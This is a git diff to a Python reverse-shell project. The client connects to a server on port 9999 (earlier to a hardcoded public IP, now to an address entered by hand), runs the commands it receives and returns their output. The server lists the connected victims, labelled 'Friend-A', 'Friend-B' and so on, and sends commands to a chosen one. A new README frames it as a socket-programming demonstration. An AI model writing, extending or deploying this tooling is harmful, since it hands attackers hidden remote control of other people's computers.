diff --git a/Multi_Client ( ReverseShell v2)/client.py b/Multi_Client ( ReverseShell v2)/client.py index 75a8099..f0636e7 100644 --- a/Multi_Client ( ReverseShell v2)/client.py +++ b/Multi_Client ( ReverseShell v2)/client.py @@ -3,9 +3,9 @@ import subprocess s = socket.socket() -host = '104.236.209.167' +host = input("Enter the IP address: ") port = 9999 - +print("Using the default port", port) s.connect((host, port)) while True: @@ -20,4 +20,4 @@ currentWD = os.getcwd() + "> " s.send(str.encode(output_str + currentWD)) - print(output_str) \ No newline at end of file + print(output_str) diff --git a/Multi_Client ( ReverseShell v2)/server.py b/Multi_Client ( ReverseShell v2)/server.py index beacdfb..81b095c 100644 --- a/Multi_Client ( ReverseShell v2)/server.py +++ b/Multi_Client ( ReverseShell v2)/server.py @@ -17,7 +17,7 @@ def create_socket(): global host global port global s - host = "" + host = "127.0.0.1" port = 9999 s = socket.socket() @@ -64,16 +64,23 @@ def accepting_connections(): except: print("Error accepting connections") +''' +# 2nd thread functions - + +1) See all the clients +2) Select a client +3) Send commands to the connected client + -# 2nd thread functions - 1) See all the clients 2) Select a client 3) Send commands to the connected client # Interactive prompt for sending commands -# turtle> list -# 0 Friend-A Port -# 1 Friend-B Port -# 2 Friend-C Port -# turtle> select 1 -# 192.168.0.112> dir +turtle> list +0 Friend-A Port +1 Friend-B Port +2 Friend-C Port +turtle> select 1 +192.168.0.112> dir +''' def start_turtle(): diff --git a/README.md b/README.md new file mode 100644 index 0000000..09acb55 --- /dev/null +++ b/README.md @@ -0,0 +1,8 @@ +# Reverse-Shell + +This is a revese-shell program which can be used to control the single or multiple clients at the same time. + +The script is purely written in the python3 language. +This is to demonstrate the socket programming in python. + +You can also use it as chat application if you modify it a little nit more.